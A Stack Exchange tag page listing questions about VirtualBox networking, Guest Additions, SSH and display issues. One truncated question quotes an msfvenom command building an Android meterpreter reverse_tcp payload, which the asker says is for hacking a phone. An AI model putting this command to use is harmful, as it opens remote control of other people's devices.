Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
The results are in! See what nearly 90,000 developers picked as their most loved, dreaded, and desired coding languages and more in the 2019 Developer Survey.

Questions tagged [virtualbox]

An x86 virtualization software package developed by Oracle (which bought Sun, which bought Innotek).

0
votes
2answers
870 views

Can not connect to VirtualBox via SSH

I am trying to learn SSH by using Ubuntu 16.04 as client and another Ubuntu 16.04 as the server which is running in Oracle VirtualBox. As far as I know everything is done right, but after executing ...
2
votes
2answers
4k views

How can I run Linux in a VM on a Retina MacBook Pro in Hi-DPI mode?

I use a Retina MacBook Pro. I run Linux in virtual machines for development work. I occasionally use the Linux GUI directly in the virtual machine, but most of the time I ssh (with the -Y parameter) ...
0
votes
1answer
20 views

How can I make a service running in Guest VM in VirtualBox accessible outside the VM

I use Oracle VirtualBox and have a service that runs on a guest VM. If I'm under guest OS and open the service URL in Firefox the app works as expected: https://localhost:8443 I was told that I can ...
11
votes
2answers
86k views

How to properly set up 2 network interfaces in CentOS (running in VirtualBox)?

I have a VirtualBox machine running CentOS 6.5. I've created 2 network adapters for it in VirtualBox's networking settings for the machine. The first is NAT which I want the guest to use to connect to ...
0
votes
1answer
4k views

how to set static ip for guest OS on VirtualBox [duplicate]

My host is Ubuntu 12.04 and I have installed Virtual Box on it. Network setting of Virtual Box is NAT. Then I have Oracle Enterprise Linux as guest. Now I want to set a static IP for my guest, ...
1
vote
2answers
2k views

host can't ssh guest, but guest can

This is a follow-up question from: Make virtualbox get a different IP address than my laptop. I ended up with these /etc/hosts files on both my laptop running Ubuntu 14.04 (the host) and my virtualbox ...
2
votes
0answers
13 views

Oracle VirtualBox on Linux host with Windows guest running terribly slow

I recently got myself a new, more powerful workstation. With Linux Mint (now in version 19.1) as my main system and some programs (that my business depends on) only running on Windows, I also ...
1
vote
3answers
27k views

DHCP Kali Linux

I'm using VBox. I have got a Bridged Adapter. I need to get my network working. What I can already do is to set everything up manually, I mean: ifconfig eth0 192.168.1.33 netmask 255.255.255.0 route ...
1
vote
0answers
45 views
+50

How to route traffic through VPN only accessible within VM (without a bridged adapter)?

I have an interesting situation where I have a corporate VPN that can only connect through a specific (outdated) version of Ubuntu (and/or Windows) using a vendor-supplied client that creates a VPN ...
8
votes
8answers
43k views

Oh no! Something went wrong! While starting the system after installing Kali Linux

I am trying to install a virtual machine running Kali (Formerly backtrack) 1.0.7 In 64 bit. My host machine is a 64 bit MacBook pro running 10.7.5. I am using Oracle VirtualBox version 4.3.12. The ...
0
votes
1answer
3k views

subprocess installed pre-removal script returned error exit status 1

Here is the virtualbox-4.3.prerm script. apt-cache policy virtualbox-guest-additions-iso virtualbox virtualbox-4.3. I was trying to install virtualbox-guess-additions-iso, and got the following ...
-1
votes
2answers
577 views

How to install virtualbox on Antergos

I'm trying to run Virutalbox on Antergos but I'm getting this following error Kernel driver not install Error shell I installed VirtualBox via the Archlinux Package Manager
0
votes
1answer
33 views

VirtualBox on Fedora 24 question

What does it mean to have a Saved State, as it relates to a Guest Virtual Machine OS? As well what is the relationship between the Saved State and Snapshots?
3
votes
3answers
2k views

Forgot Username and Password on Linux Mint

I have Linux Mint 17.3 on VM Virtual Box. Unfortunately, I forgot my username and password. Can someone tell me the steps on how to reset my username and password?
11
votes
4answers
44k views

How to solve “building the main Guest Additions module Failed”

I tried to install the VirtualBox Guest Additions module in a VM guest running CentOS but I get this error message when everything else was okay: building the main Guest Additions module Failed ...
1
vote
1answer
4k views

service vboxdrv setup throwing error when installing VirtualBox on CentOS 7

I am trying to install VirtualBox 5.0 on a minimal (terminal only) CentOS 7 server, but I keep getting the following error when I type service vboxdrv setup: The service command supports only basic ...
-2
votes
0answers
14 views

NS_error_failure 0x80004005 Virtual Machine Linux Mint [on hold]

I'm trying to unlock the bootloader of my smartphone, then I'm using Virtual Box in order to be able to use a specific program on Windows 10. The problem is when I try to connect my phone in fastboot. ...
-1
votes
1answer
18 views

Virtual Box, Vagrant, Docker - vmdk ssh damaged?

CentOS 7 host o/s, guest o/s. VirtualBox-6.0-6.0.4_128413_el7-1.x86_64 Virtualbox Guest Additions 6.0.4 Host kernel 3.10.0-957.1.3.el7.x86_64 Guest kernel 3.10.0-957.10.1.el7.x86_64 Guest file ...
0
votes
2answers
2k views

Unable to connect to Linux VM from Windows 7 Desktop

ssh destination: --VM : Oracle VM Virtual Box 4.3.20 --Linux installed on VM: Fedora 22 (IP: 10.0.2.15 ) ssh source: --Windows 7 Desktop I installed putty on Windows 7 Desktop and am trying ...
0
votes
0answers
28 views

IP Address Conflict between host OSX and linux mint running on Virtualbox [on hold]

I have been trying to install miniSAP on my linux mint 19.1 Tessa OS but have run into an IP address conflict.The IP address i get from running ifconfig on Linux is 192.168.1.8 whereas the IP address ...
0
votes
0answers
245 views

Weird graphics after fresh arch install on virtual box

I just installed arch on virtualbox to test it out but for some reason it's not displaying correctly ( here's how it looks: http://imgur.com/avbpxHE ) I'm using virtualbox version 4.2.16 Basically I ...
0
votes
2answers
8k views

Kali Linux: Cursor not showing

I started Kali Linux this morning and everything was like the days before; the cursor was there. Then I turned it off, started again and boom -> No cursor. I'm using Windows 8.1 and Kali Linux is ...
0
votes
1answer
52 views

Apache Flume to transfer text file contents between two Ubuntu VMs

I am prototyping Apache Flume. My task is to transfer text file contents between two Ubuntu VMs I set up using VirtualBox. I have almost no knowledge of Flume, although I have been going through their ...
1
vote
1answer
3k views

VirtualBox Guest Additions Debian 9

I've been trying to get Guest Additions running on Debian 9 in VirtualBox. I tried to install Guest Additions via VirtualBox, via Direct download from virtualbox.org and via apt. Everytime fail with ...
1
vote
1answer
109 views

How could I debug sshd taking several minutes to start?

I use a VM with ssh and X forwarding to run certain applications. When launching the VirtualBox VM, it takes several minutes for ssh to come online, even though the machine is at the desktop ...
2
votes
1answer
4k views

virtualbox KALI guest on Ubuntu host does not auto-adjust resolution

I've installed KALI 2017.3 in a virtual box VM. I also installed the guest additions and upgraded all the graphics drivers available. The auto-adjust feature is greyed out. As well as choosing ...
-2
votes
0answers
30 views

NOT SHOWING .apk file in home directory, for hacking android phone [duplicate]

I was trying to make an .apk file, by which I can hack an Android mobile phone... I made use of this command in Kali Linux: msfvenom -p android/meterpreter/reverse_tcp LHOST=(your ip) LPORT=4444 R &...
0
votes
1answer
2k views

Virtualbox and Manjaro i3 (where is mod key)?

I am using Manjaro with i3 desktop on Virtualbox and I can't seem to figure out what the mod key is (I'm using a standard English keyboard). I've done the expected finger mashing and have tried ...
30
votes
12answers
46k views

“mount: / is busy” when trying to mount as read-only so that I can run zerofree

I am trying to run zerofree on Ubuntu 11.04 so that I can compact the VirtualBox vdi image using: VBoxManage modifyhd Ubuntu.vdi --compact In order to run zerofree the disk image has be mounted as ...
0
votes
2answers
6k views

VirtualBox guest cannot connect to USB drive, why not?

I have VirtualBox installed in Windows 8.1 and I am using it to launch and use CentOS 7 within VirtualBox. When I connect a USB drive to the computer, and right click over the icon circled in the ...
4
votes
2answers
2k views

Manjaro guest on VirtualBox not able to get the full resolution

What I have Host: Windows 10 Version 1803 Guest: 4.19.20-1-MANJARO VirtualBox Version 6.0.4r128413 What I have tried: using the VirtualBox geustaddition iso 1.1. from toolbar Devices > Insert ...
-1
votes
0answers
6 views

How to connect guest COM port from Host in VirtualBox in Mac for MODBUS communication [migrated]

I am using pymodbus library to connect to a MODBUS master in the Windows OS (which is a guest OS in Virtual Box) and the host OS is Mac. I followed steps mentioned in this SOF answer. So, I created ...
0
votes
0answers
47 views

Running libvirt with VirtualBox driver doens't work on 4 different distributions

I'm trying to run libvirt with VirtualBox driver without luck. We are planning to use libvirt for running out software tests in virtual machines on CI servers. Now we are testing our testing framework ...
0
votes
0answers
47 views

Debian 9.6 on virtual box too slow

The actual state of my machine: os: Window 10 64bit CPU: i5-6400 ram: 32GB GPU: GTX 1050 Nvidia Dual monitor 4K I installed last VirtualBox 6.0.4 and I installed Debian 9.6 on the VM. VM state: core:...
1
vote
1answer
2k views

I'm getting 'Name or service not known' in Linux Kali when connecting with Virtualbox Bridged Adapter

Hello I'm running Kali Linux on VirtualBox. I'm attempting to run a Bridged Adapter connection. Relevant details: (In VM) Name: Kali Operating System: Ubuntu (64-bit) Adapter 1: Intel PRO/1000 MT ...
1
vote
1answer
58 views

Lubuntu + Virtual Box. Black screen after login

I Installed Lubuntu 18 on Virtual Box 5.2.22. Changed Display Resolution in Preferences -> Monitor Settings. Then I restarted Lubuntu. Lubuntu login menu displayed, but after login there is only ...
0
votes
1answer
59 views

Is there something which a container can't be used for while a Linux virtual machine can?

When would you choose to use a Linux virtual machine instead of a docker container? Is there something which a docker container can't be used for while a Linux virtual machine can? Is it correct ...
6
votes
2answers
3k views

Vagrant ssh doesn't display command prompt

I have a computer that runs Windows 8.1 and for some projects I use Vagrnat and VirtualBox, however after upgrading VirtualBox and Vagrant, after running Vagrant ssh, vagrant doesn't display the ...
1
vote
1answer
2k views

Unable to log in to any user accounts on a fresh install of Arch linux

Has anyone run into the issue of not being able to log into their root account after a fresh install of Arch Linux? I have tried setting the root password twice with the passwd command within the ...
0
votes
2answers
1k views

ubuntu Kernel panic while installing CentOS 7 in VirtualBox

I have a laptop with Xubuntu desktop 14.10 , and I installed VirtualBox and updated it to the latest version . I'm trying to install CentOS 7 (source downloaded from the official site) as a VM, ...
1
vote
5answers
3k views

Easiest way to install a Linux Desktop installtion on VirtualBox

I need a Linux Virtual machine (running on Windows with Virtual Box), and I need it run a desktop such as Gnome. Because it is running on a Virtual machine on a not particulary powerful machine I ...
3
votes
3answers
16k views

SSH into VirtualBox on Mac

I just installed VirtualBox on my mac, created a new Ubuntu Virtual Machine with "Use an existing virtual hard disk file" of the Cloudera Hadoop disk image. I'm able to start and run the virtual ...
4
votes
2answers
9k views

Issues installing linux headers on Kali 3.18

I've been trying to install virtualbox on kali-linux. But I ran into a few problems when trying to install Linux headers. Before installing anything I ran: $ apt-get upgrade $ apt-get update $ ...
1
vote
1answer
743 views

Kali VM hangs when TL-WN722N is selected as a USB Device for VirtualBox VM

I have installed Kali VM on VirtualBox. I am running this on a Macbook (OSX El Capitan) and have bought a new wireless adapter - TL-WN722N to use with the VM. So I connect the adapter to the USB port, ...
0
votes
1answer
485 views

SSH to a server from inside a VM

I am on a CentOS guest OS on a VirtualBox. I need to connect to this server through SSH using its public IP. More importantly, I need to connect to this server from within the guest host. I have ...
3
votes
2answers
620 views

How do I keep the .local TLD in my intranet

I use vagrant to launch VM's and bridge the network access to my local machine. Unfortunately exvery VM launch gives me a new IP address, and MAC address. I have a domain.local that I use and ...
2
votes
1answer
184 views

Change with the command iptables not reflected in the output of the command netstat

Scenario: A virtual machine UU (abbrev for Ubuntu) is serving a web-page. The web-page is accessible on CO (abbrev. for CentOS) which has the Virtual Box on which UU is running. However the web-page ...
16
votes
3answers
27k views

Running sh script: «Permission denied» despite the executable bit and root rights

I installed Debian in VirtualBox (for various experiments which usually broke my system) and tried to launch the VirtualBox guest addon script. I logged in as root and tried to launch autorun.sh, but ...
12
votes
2answers
8k views

Use VirtualBox provider by default on Fedora 21

Right now, any time I use vagrant, it tries to use libvirt as the provider. I want to use VirtualBox by default. vagrant-libvirt is not installed. It's bothersome because some commands don't work, ...
0
votes
1answer
43 views

Can I run a .vdi file for Windows 8.1. virtual machine in KVM/QEMU or VMM?

Can I run a .vdi file for Windows 8.1. virtual machine in KVM/QEMU or VMM? Do I need to convert the file from .vdi to some format familiar to KVM/QEMU? What are the steps, if possible? I have ...